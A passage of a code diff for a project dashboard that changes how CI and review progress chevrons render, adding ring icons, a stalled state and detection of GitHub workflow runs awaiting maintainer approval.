? 'observation time unknown' : (stale ? 'stale Β· ' : 'observed Β· ') + new Date(observed).toISOString(); const since = matches && a.since && Number.isFinite(Date.parse(a.since)) ? ' Β· since ' + new Date(a.since).toISOString() : ''; @@ -192,15 +295,18 @@ if (!codeFresh) decided = decided.replace(/>(?:Fixing|Remediating)(?=\s|<)/g, '>Fix requested'); const sha7 = item.head ? String(item.head).slice(0, 7) : ''; const lead = current && ownsPR && typeof stageTrackerTrackLead === 'function' ? stageTrackerTrackLead(item) : null; - // A settled verdict (CI passed / failed, review approved / changes - // requested) collapses to its glyph alone in the pass / fail colour; - // the count words move into the tooltip. A glance then says whether - // the track went on to the merge queue or to remediation. Pending, - // running, not-reported and sign-off states keep their words. + // Only an active track carries words; an inactive one is its icon + // (ring) in the pass / fail / neutral colour, words in the tooltip. const verdict = finished ? 'pass' : finding ? 'fail' : ''; - const word = verdict ? '' : esc(text); + const word = lit ? esc(text) : ''; const evidenceURL = matches && /^https?:\/\//i.test(String(a.url || '')) ? a.url : ''; - const icon = stageTrackerIcon(kind === 'ci' ? 'ci' : 50, 'ham-ico', name); + // The glyph is the ring of steps (checks / perspectives) once a + // count exists; the flask / eye only while no total is known. + const ringTotal = matches ? Number(a[kind === 'ci' ? 'checks_total' : 'perspectives_total']) || 0 : 0; + const ringDone = matches ? Number(a[kind === 'ci' ? 'checks_passed' : 'perspectives_done']) || 0 : 0; + const ringFailed = kind === 'ci' && matches ? Number(a.checks_failed) || 0 : 0; + const ringLabel = name + ': ' + (text || (ringTotal ? ringDone + '/' + ringTotal : 'no count')); + const icon = ringTotal && typeof stageTrackerRingSvg === 'function' ? stageTrackerRingSvg(ringDone, ringTotal, ringFailed, running ? (kind === 'ci' ? 'running' : 'reviewing') : state, ringLabel) : stageTrackerIcon(kind === 'ci' ? 'ci' : 50, 'ham-ico', name); const evidenceLink = ownsPR && evidenceURL ? `<a href="${esc(evidenceURL)}" target="_blank" rel="noopener noreferrer" aria-label="${esc('Open current-head ' + name + ' evidence')}">${icon}${word}</a>` : icon + word; const routeState = (sg.state || 'todo') + (sg.detour ? ' detoured' : ''); const hold = item.hold; @@ -210,8 +316,8 @@ (hold ? ' Β· ' + (hold.pill || 'Held by @' + hold.by) + (hold.reason ? ' Β· ' + hold.reason : '') : '') + (lead ? ' Β· hive is waiting on ' + lead.waitingOn + (lead.newHead && sha7 ? ' for new head ' + sha7 : '') : ''); const tipID = 'ham-track-tip-' + [item.repo || '', item.kind || '', item.number || 0, kind].map(x => encodeURIComponent(String(x))).join('-'); - const copy = `<span class="ham-chevron-copy ham-track-state${verdict ? ' ham-track-verdict' : ''}">${evidenceLink}</span>`; - return `<li class="ham-seg ham-activity-track ${cls}${current ? ' ham-current' : ''}" data-track="${kind}" data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}" data-display-state="${known ? 'known' : 'unknown'}"${verdict ? ` data-verdict="${verdict}"` : ''}${current ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(fullTip)}"` : ''} aria-label="${esc(fullTip)}"><span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${copy}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}</span></span></li>`; + const copy = `<span class="ham-chevron-copy ham-track-state${lit ? '' : ' ham-track-verdict'}">${evidenceLink}</span>${personIco}`; + return `<li class="ham-seg ham-activity-track ${cls}${current ? ' ham-current' : ''}" data-track="${kind}"${stalled ? ' data-stalled="true"' : ''} data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}" data-display-state="${known ? 'known' : 'unknown'}"${verdict ? ` data-verdict="${verdict}"` : ''}${current ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(fullTip)}"` : ''} aria-label="${esc(fullTip)}"><span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${copy}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}</span></span></li>`; } // Chevrons for one item. range bounds the columns the item owns (an @@ -275,8 +381,11 @@ const waitingOnTracks = tracksRunning === 2; if (waitingOnTracks) motion = STAGE_TRACKER_MOTION_STATIC; const motionAttr = motion === STAGE_TRACKER_MOTION_STATIC ? '' : ` data-motion="${motion}"`; + // Column 50 is the row's phase and no track moves: one track is + // filled stalled so the row always shows where it is (#16599). + const stalledTrack = tracksRunning === 0 && segs.some(sg => sg.number === 50 && sg.state === 'active') && typeof stageTrackerStalledTrack === 'function' ? stageTrackerStalledTrack(item) : ''; return segs.map(sg => { - if (sg.number === 50) return ['ci', 'review'].map(kind => stageTrackerActivityTrackHtml(item, kind, sg, sg.number < from || sg.number > to, nowMs)).join(''); + if (sg.number === 50) return ['ci', 'review'].map(kind => stageTrackerActivityTrackHtml(item, kind, sg, sg.number < from || sg.number > to, nowMs, { stalled: stalledTrack === kind })).join(''); if (sg.number < from || sg.number > to) return `<li class="ham-seg blank${sg.cap ? ' cap' : ''}" aria-hidden="true"></li>`; const sentinel = !!(sg.detour && sg.detour.sentinel); const sentinelSuffix = !!(sg.detour && sg.detour.sentinelSuffix); @@ -366,7 +475,9 @@ } else if (fixPushed) { const pushedTip = [code.caption, code.detail, evidence, item.head ? 'head ' + item.head : '', code.since ? 'since ' + code.since : ''].filter(Boolean).join(' Β· '); const tipID = 'ham-chevron-tip-' + [item.repo || '', item.kind || '', item.number || 0, sg.number].map(x => encodeURIComponent(String(x))).join('-'); - inner = `<span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(pushedTip)}" aria-describedby="${esc(tipID)}">${stageTrackerIcon(sg.number, 'ham-ico')}<span class="ham-chevron-copy"><span class="ham-seg-t">${esc(code.caption)}</span></span><span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(pushedTip)}</span></span>`; + // Inactive = icon only (hivecommons/hive#16599): the pushed fix is + // the green glyph; its caption rides the tooltip. + inner = `<span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(pushedTip)}" aria-describedby="${esc(tipID)}">${stageTrackerIcon(sg.number, 'ham-ico')}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(pushedTip)}</span></span>`; } else inner = stageTrackerIcon(sg.number, 'ham-ico'); return `<li class="${cls}"${remediation && sg.number === 30 && (active || fixPushed) ? ` data-remediation="${esc(remediation)}"` : ''}${active ? `${sg.cap ? '' : motionAttr}${decision ? '' : ` title="${esc(tip)}"`} aria-current="step"` : ''}${sentinel ? ` aria-label="${esc(STAGE_TRACKER_SENTINEL_WORD + ' β€” ' + stageTrackerSentinelTip(item))}"` : (sentinelSuffix ? ` aria-label="${esc(sg.detour.text + ' β€” ' + stageTrackerSentinelTip(item))}"` : '')}>${inner}</li>`; }).join(''); diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 65f75928f7..e9518324d7 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -1692,7 +1692,6 @@ done-style step that keeps its word (stage_tracker_remediation.go). */ .ham-seg.active.ham-remediation-unassigned { background: color-mix(in srgb, var(--amber) 70%, var(--red)); } .ham-seg.done.ham-fix-pushed { color: var(--green); } - .ham-seg.done.ham-fix-pushed .ham-seg-t::before { content: 'βœ“'; margin-right: var(--sp-1); } .ham-seg.todo { background: transparent; color: var(--text-faint); box-shadow: inset 0 0 0 var(--line-width) var(--line-subtle); opacity: 0.5; } .ham-seg.blank { visibility: hidden; } .ham-sub { display: grid; grid-template-columns: minmax(0, 1fr); min-width: 0; gap: var(--sp-2); margin-top: var(--sp-3); position: relative; } @@ -1727,6 +1726,31 @@ .ham-seg.active.ham-settled-current { background: var(--surface-3); color: var(--text); animation: none; } .ham-seg.active.ham-settled-current::before { display: none; } .ham-seg.ham-activity-track.done.decided { background: var(--panel-strong); color: var(--muted); box-shadow: none; opacity: 1; animation: none; } + /* A row always has one filled chevron (hivecommons/hive#16599). When + nothing moves on a review-pending row and the stage track has + settled, the blocker's track is filled stalled: a still, muted amber + (muted red on a finding), words kept, person icon when a human + action moves it (workflow approval, a sign-off). */ + .ham-seg.ham-activity-track.active.ham-stalled { background: color-mix(in srgb, var(--amber) 55%, var(--panel-strong)); color: var(--text); animation: none; } + .ham-seg.ham-activity-track.active.ham-stalled::before { display: none; } + .ham-seg.ham-activity-track.ham-stalled .ham-actor-ico { margin-left: var(--sp-1); flex: 0 0 auto; } + /* The CI / Review glyph is a ring of steps (checks / perspectives, + hivecommons/hive#16599): filled clockwise from twelve β€” done in the + track's colour, failed red, the rest the muted track. While the + track runs the next step pulses. Tokens only; the SVG has no colour. */ + .ham-ring { width: 14px; height: 14px; } + .ham-ring .ham-ring-seg, .ham-ring .ham-ring-track { stroke: var(--line-strong); } + .ham-ring .ham-ring-rest { stroke: color-mix(in srgb, currentColor 28%, transparent); } + .ham-ring .ham-ring-done { stroke: var(--green); } + .ham-ring-fail .ham-ring-done { stroke: var(--status-error); } + .ham-ring-live .ham-ring-done { stroke: var(--amber); } + .ham-ring-decided .ham-ring-done { stroke: var(--muted); } + .ham-ring .ham-ring-failed { stroke: var(--status-error); } + .ham-seg.active .ham-ring .ham-ring-done, .ham-seg.active .ham-ring .ham-ring-failed { stroke: var(--surface-0); } + .ham-seg.active .ham-ring .ham-ring-rest { stroke: color-mix(in srgb, var(--surface-0) 35%, transparent); } + .ham-ring .ham-ring-pulse { stroke: currentColor; animation: ham-ring-step 1.2s ease-in-out infinite; } + @keyframes ham-ring-step { 0%, 100% { opacity: 0.25; } 50% { opacity: 1; } } + @media (prefers-reduced-motion: reduce) { .ham-ring .ham-ring-pulse { animation: none; opacity: 0.7; } } /* The count words stay on one line and ellipsize instead of wrapping. */ .ham-chevron-copy.ham-track-state .ham-ico { vertical-align: -2px; margin-right: 3px; } /* A settled verdict is the glyph alone (green passed / approved, red @@ -17838,7 +17862,10 @@ <h3 class="faq-group-title">Where to get help</h3> case 'running': return count + ' Β· running' + (failing ? ' Β· ' + failing : ''); case 'queued': return count + ' Β· queued' + (failing ? ' Β· ' + failing : ''); case 'skipped': return count + ' Β· ' + (blocker ? blocker + ' skipped' : 'skipped'); - case 'missing': return count + ' Β· ' + (passed ? (blocker ? blocker + ' not reported' : 'not all reported') : 'no checks reported yet') + (failing ? ' Β· ' + failing : ''); + case 'missing': { + if (stageTrackerWorkflowApprovalPending(a) > 0) return count + ' Β· waiting on workflow approval' + (failing ? ' Β· ' + failing : ''); + return count + ' Β· ' + (passed ? (blocker ? blocker + ' not reported' : 'not all reported') : 'no checks reported yet') + (failing ? ' Β· ' + failing : ''); + } default: return count + ' Β· ' + (total ? 'no verdict yet' : 'no checks reported yet'); } } @@ -17865,11 +17892,101 @@ <h3 class="faq-group-title">Where to get help</h3> const mine = !!me && new RegExp('@' + me.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') + '(?![\\w-])').test(q); return count + (mine ? ' Β· needs your sign-off' : ' Β· needs owner sign-off'); } - case 'reviewing': case 'adjudicating': return count + ' Β· ' + (actor ? actor + ' reviewing' : 'reviewing'); - case 'assigned': return count + ' Β· ' + (actor ? actor + ' queued' : 'queued'); - case 'unassigned': return count + ' Β· swarm requested'; - default: return count + ' Β· ' + (newHead ? 're-review pending (new head)' : total && done ? 'perspectives' : 'swarm requested'); + case 'reviewing': return count + ' Β· ' + (actor ? actor + ' reviewing' : 'in progress'); + case 'adjudicating': return count + ' Β· ' + (actor ? actor + ' adjudicating' : 'adjudicating'); + case 'assigned': return count + ' Β· ' + (actor ? actor + ' queued' : 'queued') + stageTrackerQueueAheadWord(a); + case 'unassigned': return count + ' Β· queued' + stageTrackerQueueAheadWord(a); + default: return count + ' Β· ' + (newHead ? 're-review pending (new head)' : total && done ? 'perspectives' : 'queued'); + } + } + + // Unreported checks whose workflow runs sit behind GitHub's + // approve-workflows gate (dependabot, forks): the CI blocker reads + // "workflow-approval-required:<n>" (stage_tracker_activity.go). A + // person's click moves them, so the chevron names the wait and wears + // the person icon (hivecommons/hive#16599). + const STAGE_TRACKER_WORKFLOW_APPROVAL_BLOCKER = 'workflow-approval-required:'; + const STAGE_TRACKER_WORKFLOW_APPROVAL_TIP = 'Needs a maintainer to approve the workflow runs on GitHub before the checks can start'; + function stageTrackerWorkflowApprovalPending(a) { + if (!a) return 0; + const b = String(a.blocker || ''); + if (b.indexOf(STAGE_TRACKER_WORKFLOW_APPROVAL_BLOCKER) === 0) return Math.max(1, Number(b.slice(STAGE_TRACKER_WORKFLOW_APPROVAL_BLOCKER.length)) || 0); + return a.workflow_approval && Number(a.workflow_approval.pending) > 0 ? Number(a.workflow_approval.pending) : 0; + } + + // The tiny ring in a CI / Review chevron: total steps around the + // circle, filled clockwise from twelve β€” done (green or the state's + // colour) first, then failed (red), the rest the muted track. Steps are + // separated by a gap up to 16 of them, a continuous arc beyond. While + // the track runs the next step pulses. Colours are CSS classes only + // (tracker.css tokens); the SVG carries no raw colour. + const STAGE_TRACKER_RING_SEGMENT_GAP_MAX = 16; + const STAGE_TRACKER_RING_RADIUS = 6; + const STAGE_TRACKER_RING_GAP_DEG = 14; + function stageTrackerRingSvg(done, total, failed, state, label) { + const t = Math.max(0, Math.floor(Number(total) || 0)); + const d = Math.min(t, Math.max(0, Math.floor(Number(done) || 0))); + const f = Math.min(t - d, Math.max(0, Math.floor(Number(failed) || 0))); + const st = String(state || ''); + const running = ['running', 'queued', 'reviewing', 'adjudicating', 'assigned'].includes(st); + const tone = st === 'changes_requested' || st === 'failing' ? 'fail' : st === 'approved' || st === 'passing' ? 'pass' : st === 'human_decision' ? 'decided' : running ? 'live' : 'pass'; + const a11y = label || (t ? `${d} of ${t} done` + (f ? `, ${f} failed` : '') : 'no steps'); + const r = STAGE_TRACKER_RING_RADIUS, c = 8; + const pt = (deg) => { const rad = (deg - 90) * Math.PI / 180; return (c + r * Math.cos(rad)).toFixed(2) + ' ' + (c + r * Math.sin(rad)).toFixed(2); }; + const arc = (from, to, cls) => { + if (to - from >= 360) return `<circle class="${cls}" cx="${c}" cy="${c}" r="${r}"/>`; + if (to <= from) return ''; + const large = to - from > 180 ? 1 : 0; + return `<path class="${cls}" d="M${pt(from)} A${r} ${r} 0 ${large} 1 ${pt(to)}"/>`; + }; + const open = `<svg class="ham-ico ham-ring ham-ring-${tone}${running ? ' ham-ring-running' : ''}" viewBox="0 0 16 16" fill="none" stroke-width="2.2" stroke-linecap="butt" role="img" aria-label="${esc(a11y)}" data-ring-total="${t}" data-ring-done="${d}" data-ring-failed="${f}">`; + if (!t) return open + `<circle class="ham-ring-track" cx="${c}" cy="${c}" r="${r}"/></svg>`; + const next = Math.min(t - 1, d + f); + const segs = []; + if (t <= STAGE_TRACKER_RING_SEGMENT_GAP_MAX) { + const step = 360 / t; + const gap = t === 1 ? 0 : Math.min(STAGE_TRACKER_RING_GAP_DEG, step / 3); + for (let i = 0; i < t; i++) { + const cls = 'ham-ring-seg ' + (i < d ? 'ham-ring-done' : i < d + f ? 'ham-ring-failed' : 'ham-ring-rest') + (running && i === next ? ' ham-ring-pulse' : ''); + segs.push(arc(i * step + gap / 2, (i + 1) * step - gap / 2, cls)); + } + } else { + const unit = 360 / t; + segs.push(arc(0, 360, 'ham-ring-seg ham-ring-rest ham-ring-track')); + segs.push(arc(0, d * unit, 'ham-ring-seg ham-ring-done')); + segs.push(arc(d * unit, (d + f) * unit, 'ham-ring-seg ham-ring-failed')); + if (running && d + f < t) segs.push(arc(next * unit, (next + 1) * unit, 'ham-ring-seg ham-ring-rest ham-ring-pulse')); } + return open + segs.join('') + '</svg>'; + } + + // Which chevron carries a row stuck at column 50 with no track in + // motion: the track that has not settled β€” CI unless it passed, else + // Review (a pending verdict or a sign-off). A row never shows no + // filled chevron (hivecommons/hive#16599). + function stageTrackerStalledTrack(item) { + const on = kind => { const a = item && item[kind + '_activity']; return a && item.head && a.head === item.head ? a.state || 'unknown' : 'unknown'; }; + if (typeof stageTrackerStageTrack === 'function' && stageTrackerStageTrack(item)) return ''; + if (on('ci') !== 'passing') return 'ci'; + return 'review'; + } + + // ", 3 ahead" when the backend knows the swarm queue position. + function stageTrackerQueueAheadWord(a) { + const n = a && Number(a.queue_ahead); + return Number.isFinite(n) && n > 0 ? ', ' + n + ' ahead' : ''; + } + + // The track that IS the item's current stage: at review pending (050) + // the Review column. It is lit whenever its verdict has not settled β€” + // queued, in progress, adjudicating alike β€” because the chevron that + // corresponds to the stage is the lit one (hivecommons/hive#16599, + // reversing #16545's "queued = pending" for the stage column only). + function stageTrackerStageTrack(item) { + if (!item || Number(item.stage) !== 50) return ''; + const a = item.review_activity; + const st = a && item.head && a.head === item.head ? a.state || 'unknown' : 'unknown'; + return ['approved', 'changes_requested', 'human_decision'].includes(st) ? '' : 'review'; } function stageTrackerHiveOwnsRepair(item) { @@ -17916,7 +18033,7 @@ <h3 class="faq-group-title">Where to get help</h3> // field β€” only a running track is filled (hivecommons/hive#16540); not // started = the empty chevron with the glyph alone. Freshness gates only // the pulse. - function stageTrackerActivityTrackHtml(item, kind, sg, blank, nowMs) { + function stageTrackerActivityTrackHtml(item, kind, sg, blank, nowMs, opts) { if (blank) return `<li class="ham-seg blank" data-track="${kind}" data-route-state="blank" aria-hidden="true"></li>`; const name = kind === 'ci' ? 'CI' : 'Review'; const a = item && item[kind + '_activity']; @@ -17935,13 +18052,23 @@ <h3 class="faq-group-title">Where to get help</h3> const text = typeof stageTrackerTrackWord === 'function' ? stageTrackerTrackWord(item, kind, current) : (matches ? a.caption || name + ' ' + state : ''); const finished = matches && (state === 'passing' || state === 'approved'); const finding = matches && (state === 'failing' || state === 'changes_requested'); - // A complete verdict parked on a person is settled, not in progress: - // done-style, muted, never the amber fill (hivecommons/hive#16509 row). + // A complete verdict parked on a person is settled (muted icon). const settled = matches && state === 'human_decision' && (!known || !a.active); - // At most two chevrons on a row are ever amber: a track is active - // only while it is running; words without motion are pending. + // ACTIVE = filled amber with its words; 1 ≀ active ≀ 2 on a row. A + // track is active while it genuinely runs on the current head, when + // it is the stage's own track (stageTrackerStageTrack), or when it is + // the stalled blocker of a row with nothing in motion (opts.stalled, + // still amber-muted). Everything else is the icon alone β€” green for + // a pass, red for a finding, neutral when not run or decided β€” with + // its count words in the tooltip (hivecommons/hive#16599). const running = stageTrackerTrackRunning(item, kind); - const cls = finished ? 'done' : finding ? 'failing' : settled ? 'done decided' : running ? 'active' : text ? 'pending' : 'todo'; + const stageTrack = current && typeof stageTrackerStageTrack === 'function' && stageTrackerStageTrack(item) === kind; + const stalled = !!(opts && opts.stalled) && current && !running; + const lit = running || stageTrack || stalled; + const cls = lit ? 'active' + (stalled ? ' ham-stalled' : '') : finished ? 'done' : finding ? 'failing' : settled ? 'done decided' : 'todo'; + const approvalPending = kind === 'ci' && matches ? stageTrackerWorkflowApprovalPending(a) : 0; + const humanAction = approvalPending > 0 ? STAGE_TRACKER_WORKFLOW_APPROVAL_TIP : kind === 'review' && state === 'human_decision' ? 'Needs a person\'s decision' : ''; + const personIco = stalled && humanAction ? stageTrackerIcon('human', 'ham-ico ham-actor-ico', humanAction) : ''; const source = matches ? a.source || 'unavailable' : 'unavailable'; const freshness = !Number.isFinite(observed) ? 'observation time unknown' : (stale ? 'stale Β· ' : 'observed Β· ') + new Date(observed).toISOString(); const since = matches && a.since && Number.isFinite(Date.parse(a.since)) ? ' Β· since ' + new Date(a.since).toISOString() : ''; @@ -17966,15 +18093,18 @@ <h3 class="faq-group-title">Where to get help</h3> if (!codeFresh) decided = decided.replace(/>(?:Fixing|Remediating)(?=\s|<)/g, '>Fix requested'); const sha7 = item.head ? String(item.head).slice(0, 7) : ''; const lead = current && ownsPR && typeof stageTrackerTrackLead === 'function' ? stageTrackerTrackLead(item) : null; - // A settled verdict (CI passed / failed, review approved / changes - // requested) collapses to its glyph alone in the pass / fail colour; - // the count words move into the tooltip. A glance then says whether - // the track went on to the merge queue or to remediation. Pending, - // running, not-reported and sign-off states keep their words. + // Only an active track carries words; an inactive one is its icon + // (ring) in the pass / fail / neutral colour, words in the tooltip. const verdict = finished ? 'pass' : finding ? 'fail' : ''; - const word = verdict ? '' : esc(text); + const word = lit ? esc(text) : ''; const evidenceURL = matches && /^https?:\/\//i.test(String(a.url || '')) ? a.url : ''; - const icon = stageTrackerIcon(kind === 'ci' ? 'ci' : 50, 'ham-ico', name); + // The glyph is the ring of steps (checks / perspectives) once a + // count exists; the flask / eye only while no total is known. + const ringTotal = matches ? Number(a[kind === 'ci' ? 'checks_total' : 'perspectives_total']) || 0 : 0; + const ringDone = matches ? Number(a[kind === 'ci' ? 'checks_passed' : 'perspectives_done']) || 0 : 0; + const ringFailed = kind === 'ci' && matches ? Number(a.checks_failed) || 0 : 0; + const ringLabel = name + ': ' + (text || (ringTotal ? ringDone + '/' + ringTotal : 'no count')); + const icon = ringTotal && typeof stageTrackerRingSvg === 'function' ? stageTrackerRingSvg(ringDone, ringTotal, ringFailed, running ? (kind === 'ci' ? 'running' : 'reviewing') : state, ringLabel) : stageTrackerIcon(kind === 'ci' ? 'ci' : 50, 'ham-ico', name); const evidenceLink = ownsPR && evidenceURL ? `<a href="${esc(evidenceURL)}" target="_blank" rel="noopener noreferrer" aria-label="${esc('Open current-head ' + name + ' evidence')}">${icon}${word}</a>` : icon + word; const routeState = (sg.state || 'todo') + (sg.detour ? ' detoured' : ''); const hold = item.hold; @@ -17984,8 +18114,8 @@ <h3 class="faq-group-title">Where to get help</h3> (hold ? ' Β· ' + (hold.pill || 'Held by @' + hold.by) + (hold.reason ? ' Β· ' + hold.reason : '') : '') + (lead ? ' Β· hive is waiting on ' + lead.waitingOn + (lead.newHead && sha7 ? ' for new head ' + sha7 : '') : ''); const tipID = 'ham-track-tip-' + [item.repo || '', item.kind || '', item.number || 0, kind].map(x => encodeURIComponent(String(x))).join('-'); - const copy = `<span class="ham-chevron-copy ham-track-state${verdict ? ' ham-track-verdict' : ''}">${evidenceLink}</span>`; - return `<li class="ham-seg ham-activity-track ${cls}${current ? ' ham-current' : ''}" data-track="${kind}" data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}" data-display-state="${known ? 'known' : 'unknown'}"${verdict ? ` data-verdict="${verdict}"` : ''}${current ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(fullTip)}"` : ''} aria-label="${esc(fullTip)}"><span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${copy}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}</span></span></li>`; + const copy = `<span class="ham-chevron-copy ham-track-state${lit ? '' : ' ham-track-verdict'}">${evidenceLink}</span>${personIco}`; + return `<li class="ham-seg ham-activity-track ${cls}${current ? ' ham-current' : ''}" data-track="${kind}"${stalled ? ' data-stalled="true"' : ''} data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}" data-display-state="${known ? 'known' : 'unknown'}"${verdict ? ` data-verdict="${verdict}"` : ''}${current ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(fullTip)}"` : ''} aria-label="${esc(fullTip)}"><span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${copy}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}</span></span></li>`; } // Chevrons for one item. range bounds the columns the item owns (an @@ -18049,8 +18179,11 @@ <h3 class="faq-group-title">Where to get help</h3> const waitingOnTracks = tracksRunning === 2; if (waitingOnTracks) motion = STAGE_TRACKER_MOTION_STATIC; const motionAttr = motion === STAGE_TRACKER_MOTION_STATIC ? '' : ` data-motion="${motion}"`; + // Column 50 is the row's phase and no track moves: one track is + // filled stalled so the row always shows where it is (#16599). + const stalledTrack = tracksRunning === 0 && segs.some(sg => sg.number === 50 && sg.state === 'active') && typeof stageTrackerStalledTrack === 'function' ? stageTrackerStalledTrack(item) : ''; return segs.map(sg => { - if (sg.number === 50) return ['ci', 'review'].map(kind => stageTrackerActivityTrackHtml(item, kind, sg, sg.number < from || sg.number > to, nowMs)).join(''); + if (sg.number === 50) return ['ci', 'review'].map(kind => stageTrackerActivityTrackHtml(item, kind, sg, sg.number < from || sg.number > to, nowMs, { stalled: stalledTrack === kind })).join(''); if (sg.number < from || sg.number > to) return `<li class="ham-seg blank${sg.cap ? ' cap' : ''}" aria-hidden="true"></li>`; const sentinel = !!(sg.detour && sg.detour.sentinel); const sentinelSuffix = !!(sg.detour && sg.detour.sentinelSuffix); @@ -18140,7 +18273,9 @@ <h3 class="faq-group-title">Where to get help</h3> } else if (fixPushed) { const pushedTip = [code.caption, code.detail, evidence, item.head ? 'head ' + item.head : '', code.since ? 'since ' + code.since : ''].filter(Boolean).join(' Β· '); const tipID = 'ham-chevron-tip-' + [item.repo || '', item.kind || '', item.number || 0, sg.number].map(x => encodeURIComponent(String(x))).join('-'); - inner = `<span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(pushedTip)}" aria-describedby="${esc(tipID)}">${stageTrackerIcon(sg.number, 'ham-ico')}<span class="ham-chevron-copy"><span class="ham-seg-t">${esc(code.caption)}</span></span><span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(pushedTip)}</span></span>`; + // Inactive = icon only (hivecommons/hive#16599): the pushed fix is + // the green glyph; its caption rides the tooltip. + inner = `<span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(pushedTip)}" aria-describedby="${esc(tipID)}">${stageTrackerIcon(sg.number, 'ham-ico')}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(pushedTip)}</span></span>`; } else inner = stageTrackerIcon(sg.number, 'ham-ico'); return `<li class="${cls}"${remediation && sg.number === 30 && (active || fixPushed) ? ` data-remediation="${esc(remediation)}"` : ''}${active ? `${sg.cap ? '' : motionAttr}${decision ? '' : ` title="${esc(tip)}"`} aria-current="step"` : ''}${sentinel ? ` aria-label="${esc(STAGE_TRACKER_SENTINEL_WORD + ' β€” ' + stageTrackerSentinelTip(item))}"` : (sentinelSuffix ? ` aria-label="${esc(sg.detour.text + ' β€” ' + stageTrackerSentinelTip(item))}"` : '')}>${inner}</li>`; }).join(''); diff --git a/src/pkg/github/client.go b/src/pkg/github/client.go index 8469b51124..333f1cdeaa 100644 --- a/src/pkg/github/client.go +++ b/src/pkg/github/client.go @@ -2560,6 +2560,12 @@ func (c *Client) EnrichCIStatus(ctx context.Context, prs []PullRequest) { incidents := map[string]bool{} for i := range prs { reported := c.enrichPRCI(ctx, &prs[i]) + // Unreported checks may be workflow runs waiting on GitHub's + // approve-workflows gate (dependabot, forks); only a pending head + // pays for the extra listing (hivecommons/hive#16599). + if prs[i].CIStatus == "pending" && prs[i].CIActivity != nil { + prs[i].CIActivity.WorkflowApproval = c.workflowRunsAwaitingApproval(ctx, prs[i].Repo, prs[i].HeadSHA) + } if prs[i].CIStatus == "failure" { prs[i].SharedCIIncident = c.openSharedCIIncident(ctx, &prs[i], incidents) } diff --git a/src/pkg/github/pr_ci_activity.go b/src/pkg/github/pr_ci_activity.go index 9ca1ba6200..52ee5be70b 100644 --- a/src/pkg/github/pr_ci_activity.go +++ b/src/pkg/github/pr_ci_activity.go @@ -21,6 +21,9 @@ type PRCIActivity struct { Checks []PRActivityCheck `json:"checks,omitempty"` StatusesKnown bool `json:"statuses_known"` StatusesObservedAt *time.Time `json:"statuses_observed_at,omitempty"` + // WorkflowApproval names workflow runs on this head that GitHub holds + // behind its approve-workflows gate; nil when none were observed. + WorkflowApproval *PRWorkflowApproval `json:"workflow_approval,omitempty"` } type PRActivityCheck struct { diff --git a/src/pkg/github/webhook_ci_evidence.go b/src/pkg/github/webhook_ci_evidence.go index 57913dbb64..576d51c812 100644 --- a/src/pkg/github/webhook_ci_evidence.go +++ b/src/pkg/github/webhook_ci_evidence.go @@ -373,6 +373,11 @@ func cloneCIActivity(a *PRCIActivity) *PRCIActivity { out.Required = append([]string(nil), a.Required...) out.RequiredChecks = append([]PRRequiredCheck(nil), a.RequiredChecks...) out.Checks = append([]PRActivityCheck(nil), a.Checks...) + if a.WorkflowApproval != nil { + wa := *a.WorkflowApproval + wa.RunIDs = append([]int64(nil), a.WorkflowApproval.RunIDs...) + out.WorkflowApproval = &wa + } return &out } @@ -480,6 +485,10 @@ func (c *Client) applyWebhookCIEvidence(event string, p webhookEventPayload, con } repo := p.Repository.FullName sharedWebhookTracker().recordCIEvent() + // Any CI delivery for the head β€” a workflow_run leaving action_required + // once someone clicked Approve, a check run starting β€” means the cached + // approval probe may be stale; re-list on the next cycle. + forgetWorkflowApproval(repo, head) out := &WebhookCIEvidence{HeadSHA: head, PRs: append([]int(nil), numbers...)} store := sharedCIEvidence() checks := webhookCIChecks(event, p) diff --git a/src/pkg/github/workflow_approval.go b/src/pkg/github/workflow_approval.go new file mode 100644 index 0000000000..dc23eacf1c --- /dev/null +++ b/src/pkg/github/workflow_approval.go @@ -0,0 +1,130 @@ +package github + +import ( + "context" + "strings" + "sync" + "sync/atomic" + "time" + + gh "github.com/google/go-github/v72/github" +) + +// PRWorkflowApproval records workflow runs on a PR head that GitHub holds +// behind its "approve and run workflows" gate (status action_required). Such +// runs create no check runs, so 